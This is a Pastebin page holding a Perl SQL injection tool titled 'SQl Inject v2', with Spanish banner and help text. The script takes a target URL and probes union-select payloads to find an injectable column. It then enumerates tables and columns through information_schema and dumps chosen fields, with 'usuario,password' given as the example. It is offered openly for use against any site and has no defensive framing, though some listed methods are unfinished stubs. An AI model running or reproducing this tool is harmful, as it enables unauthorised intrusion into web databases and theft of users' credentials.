Advertisement
b4nz0k

SQl Inject v2

Oct 18th, 2011
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 8.02 KB | None | 0 0
  1. use HTTP::Request;
  2. use LWP::UserAgent;
  3.  
  4. my $browser = LWP::UserAgent->new();
  5.  
  6.  
  7.  
  8. unless ($ARGV[0]) { &banner; }
  9. &variables_ARGV;
  10.  
  11. sub variables_ARGV
  12.     {
  13.     #Variables por Default
  14.     $columns_count = 30;
  15.     $end = "+--+";
  16.     $un = "/**/";
  17.     $column_file = "columnas.txt";
  18.     $table_file = "tablas.txt";
  19.     $num_url = "5";
  20.     @dbs;
  21.     @tablas_db;
  22.    
  23.     #Control de ARGV
  24.     my $i = 0;
  25.     foreach $i (@ARGV)
  26.         {  
  27.             if ($ARGV[$i] eq "-c"  || $ARGV[$i] eq "--columns" )   { $columns_count = $ARGV[$i+1] }
  28.             if ($ARGV[$i] eq "-u"  || $ARGV[$i] eq "--url")        { $url = $ARGV[$i+1] }
  29.             if ($ARGV[$i] eq "-px" || $ARGV[$i] eq "--proxy")      { $proxy = $ARGV[$i+1] }
  30.             if ($ARGV[$i] eq "-m"  || $ARGV[$i] eq "--metod")      { $metod = $ARGV[$i+1] }
  31.             if ($ARGV[$i] eq "-tf" || $ARGV[$i] eq "--table_file") { $user_file = $ARGV[$i+1] }
  32.             if ($ARGV[$i] eq "-cf" || $ARGV[$i] eq "--column_file"){ $pass_file = $ARGV[$i+1] }
  33.             if ($ARGV[$i] eq "-h"  || $ARGV[$i] eq "--help")       {&help}
  34.             $i++;
  35.         }
  36.     }
  37.    
  38.    
  39.    
  40.  
  41.     #Control de La Url
  42.         unless ($url) { &banner }
  43.         $url  = "http://" . $url if $url !~ m/^http\:\/\//;
  44.         if ($url =~ m/^http\:\/\/([a-zA-Z0-9-.]+)\/(.*)\//)
  45.         {   $host = $1; $path = $2; }
  46.  
  47.            
  48.         if ($url =~ m/(\d+)$/) {  $num_url = $1; $leang = length($1); }
  49.         for ($i=1;$i<=$leang; $i++) { chop ($url); }
  50.        
  51.         &scann;
  52.  
  53. # print "$url",$num_url,"\n";
  54. # exit;
  55.  
  56. sub banner {
  57.     print "
  58.  
  59.    
  60.     .|'''.|   ..|''||   '||'      
  61.     ||..  '  .|'    ||   ||      
  62.       ''|||.  ||      ||  ||      
  63.     .     '|| '|.  '. '|  ||       Scann
  64.     |'....|'    '|...'|. .||.....|
  65.    
  66.   C o d e d  b y  [ b 4 n z 0 k ]
  67.                      
  68.     Modo de Uso:
  69.    perl sql.pl -u 'http://site.com/path/arc.php?vuln=123' <opciones>
  70.  
  71.     mas informacion >> perl sql.pl -h  
  72.    "; print "\n"; exit 1; }
  73.  
  74. sub help {
  75.       print "
  76.      ##-- Todas las Opciones no se han Complementado aun...--##
  77.      -u     La Url a injectar
  78.      --url  ejemplo (-u 'web.com/index.php?id=5')
  79.  
  80.      -c     El Numero de Columnas a Buscar
  81.     --columns  ejemplo: -c 5 = 1,2,3,4,5
  82.         defautl: 30
  83.      
  84.      -px    Proxy a usar ejemplo:
  85.      --proxy    -px 127.0.0.1:9050
  86.  
  87.      -m     Metodo a Utilizar
  88.      --metod    ejemplo metod 1,3,4
  89.  
  90.         0  . * SQL   (Auto Detect)
  91.         1  . * MySQL (inject union boolean)
  92.         2  . * MySQL (order by)
  93.         3  . * MySQL (bind)
  94.         4  . * MySQL (error based)
  95.        
  96.         5  . * MsSQL (inject)
  97.         6  . * MsSQL (boolean)
  98.         7  . * MsSQL (bind)
  99.  
  100.         8  . * MsAcces Inject
  101.         9  . * Oracle Inject
  102.         10 . * PostgreSQL Inject
  103.        
  104.         default: Autodetect... 
  105.        
  106.       -h    Consulta de los
  107.       --help    comandos del script
  108.      "; print "\n";  exit 1;
  109.      }
  110.  
  111. unless ($vulnerado) { print "[*] La Web no es Vulnerable\n"; }
  112. if ($vulnerado) { &tablas_1 }
  113.  
  114. sub scann {
  115.     print "
  116.        
  117.     .|'''.|   ..|''||   '||'      
  118.     ||..  '  .|'    ||   ||      
  119.       ''|||.  ||      ||  ||      
  120.     .     '|| '|.  '. '|  ||       Scann
  121.     |'....|'    '|...'|. .||.....|
  122.    
  123.   C o d e d  b y  [ b 4 n z 0 k ]
  124.  
  125.   "; &sql_1;
  126. }
  127.  
  128.  
  129. sub sql_1 {
  130.    
  131.  
  132.       #############################################
  133.       #     SQL union select (Boolean)
  134.       #    
  135.       #     $columns_count = "30";
  136.       #     $end = "+--+";
  137.       #     $un = "/**/";
  138.       #     $num_url = "5";
  139.  
  140.       print "\n[*] Escaneando Path...\n"; $table_schema;
  141.       $union = $un ."and" . $un . "1=0" . $un . "union" . $un . "select" . $un;
  142.       $i=1; while ($i<=$columns_count)
  143.     {
  144.       if ($i eq 1) {$cont1.= $i} else {$cont1.=',' . $i} $hex = "99999" . $i ."99999";
  145.       if ($i eq 1) {$cont2.="concat(0x62346e7a306b,$hex)";}
  146.       else {$cont2.=',' . "concat(0x62346e7a306b,$hex)";}
  147.       $path = $url . $num_url . $union . $cont2;
  148.          my $request = $browser->get($path . $end);
  149.          my $content = $request->content;
  150.        
  151.         if ($content =~ m/b4nz0k99999(\d+)99999/)
  152.         {   print "[*] Web Vulnerada en la Columna [$1]\n[*] CoLumna en el Numero [" . $i . "]\n";
  153.             $vulnerado = "Si"; $num_columns = $i;  $inject_columns = $1;
  154.             last; unless ($vulnerado) { &tablas_1; }
  155.         } $i++;
  156.     } # print "$cont1\n";
  157.             }
  158.  
  159.  
  160. sub tablas_1 { ################--Group_Concat--############
  161.  
  162. print "\n[*] Selecciona el modo\n\t1 todas las tablas\n\t2 Tabla por tabla (Recomendado) \n\t";
  163.        
  164.         $concat = <STDIN>; chop ($concat);
  165.         goto concat_1 if ($concat =~ m/1/); goto concat_2 if ($concat =~ m/2/);
  166.     concat_1:
  167.     for ($b=1;$b<=$num_columns;$b++) { $cont.= $b . "," } chop ($cont);    
  168.         $cont =~ s /$inject_columns/group_concat(0x62346e7a306b,table_name,0x62346e7a306b)/g;
  169.         $p1 = $url . $num_url . $union . $cont . $un  . "from" . $un . "information_schema.tables" . $end;
  170.             my $request = $browser->get($p1);
  171.             my $content = $request->content;
  172.             if ($content =~ m/b4nz0k(.*)b4nz0k/)
  173.             {   $tablass = $1; @split_tablas = split ("b4nz0k",$tablass);
  174.                 print "\n\t####--Datos Schema--####\n\n";foreach $n (@split_tablas)
  175.                 { push (@tablas_db,$n); print "[ $n ]\n"  if $n =~ m/([a-zA-Z0-9-.]+)/; }
  176.                 print "\n\n"; $b=$num_columns;
  177.             }
  178.                 ###############--Concat--############
  179.         else {
  180.             concat_2:
  181.         $cont=""; for ($b=1;$b<=$num_columns;$b++) { $cont.= $b . "," } chop ($cont);      
  182.         $cont =~ s /$inject_columns/concat(0x62346e7a306b,table_name,0x62346e7a306b,table_schema,0x62346e7a306b)/g;
  183.         $p1 = $url . $num_url . $union . $cont . $un  . "from" . $un . "information_schema.tables" . $un . "limit" . $un;
  184.         $d=0; while ($d <= 99999)
  185.         {   my $request = $browser->get($p1 . $d . ",1" . $end);
  186.             my $content = $request->content;
  187.             if ($content =~ m/b4nz0k(.*)b4nz0k(.*)b4nz0k/) {
  188.     $table_schema = $2 and push (@dbs,$table_schema) and print "\n\t[ # $table_schema # ]\n" if $table_schema != $2;
  189.                     print "[ $1 ]\n"; push (@tablas_db,$1); }
  190.             else { print "[*] Sin Permisos para la Base de Datos Schema\n" if $d <= 1;  $d=99999; } $d++;      
  191.         } &columnas_1; } &columnas_1;
  192.  }
  193.  sub columnas_1 {
  194.      columnas_1:
  195.      $tablaa = ""; print "[*] Escriba la tabla que desea consultar: ";
  196.     $tablaa = <STDIN>; chop ($tablaa); $ascci="";
  197.     @array_ascci = split (//,$tablaa);   print "\t[##--$tablaa--##]\n";
  198.     foreach $i (@array_ascci)
  199.         { $ascci = $ascci . ord($i) . ","; } chop ($ascci);
  200.     $cont=""; for ($b=1;$b<=$num_columns;$b++) { $cont.= $b . "," } chop ($cont);
  201.     $cont =~ s /$inject_columns/group_concat(0x62346e7a306b,column_name,0x62346e7a306b)/g;
  202.    
  203.     $wheere ="information_schema.columns"   . $un . "where" . $un . "table_name=char(" . $ascci . ")" . $end;
  204.     $p1 = $url . $num_url . $union . $cont . $un  . "from" . $un . $wheere;
  205. #   print "$p1\n"; exit;
  206.             my $request = $browser->get($p1 . $d . ",1" . $end);
  207.             my $content = $request->content;
  208.             if ($content =~ m/b4nz0k(.*)b4nz0k/) {
  209.                 $columnass = $1; @split_columnas = split ("b4nz0k",$columnass);
  210.                 print "\n\t####--$tablaa--####\n\n"; $n=""; foreach $n (@split_columnas)
  211.                 { print "[ $n ]\n"  if $n =~ m/([a-zA-Z0-9-.]+)/; }
  212.                 print "\n\n";
  213.             }
  214. datos_1:
  215.  
  216.     $cont=""; for ($b=1;$b<=$num_columns;$b++) { $cont.= $b . "," } chop ($cont); $s; $nn = "";
  217.     print "[*] Escriba los datos a consultar: \n"; print "[* Ejemplo] usuario,password : ";
  218.     $tablaa2 = <STDIN>; chop ($tablaa2); @dataa  = split (",",$tablaa2); print "\n\t[##--$tablaa2--##]\n";
  219.     @dataa = split(",",$tablaa2); foreach $nn (@dataa) { $s.= $nn . ",0x62346e7a306b,"; } chop ($s);
  220.     $cont =~ s /$inject_columns/concat(0x62346e7a306b,$s)/g;
  221.     $p1 = $url . $num_url . $union . $cont . $un  . "from" . $un . $tablaa .  $un . "limit" . $un;
  222. #   print "$p1\n";
  223.     for ($x=0;$x<=$columns_count;$x++) {
  224.             my $request = $browser->get($p1 . $x . ",1" . $end );
  225.             my $content = $request->content;
  226.             if ($content =~ m/b4nz0k(.*)b4nz0k(.*)b4nz0k/) {
  227.             print "[ $1\t:: $2 ]\n"; }
  228.     else { print "[*] Usuarios sin Permisos para estos datos \n" if $x==0; $x = $columns_count; }
  229.     print "\n";
  230. }
  231.  }
  232.  
  233.  
  234. sub sql_3 {
  235.  
  236.       #############################################
  237.       #     SQL - Bind (Brute Force)
  238.       #    
  239.       #     $columns_count = 30;
  240.       #     $end = "+--+";
  241.       #     $un = "/**/";
  242.       #     $num_url = "5";
  243.       print "[*] SQL Bind Inject\n";
  244.       $union = $un ."and" . $un . "1=0" . $un . "union" . $un . "select" . $un;
  245.      
  246. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement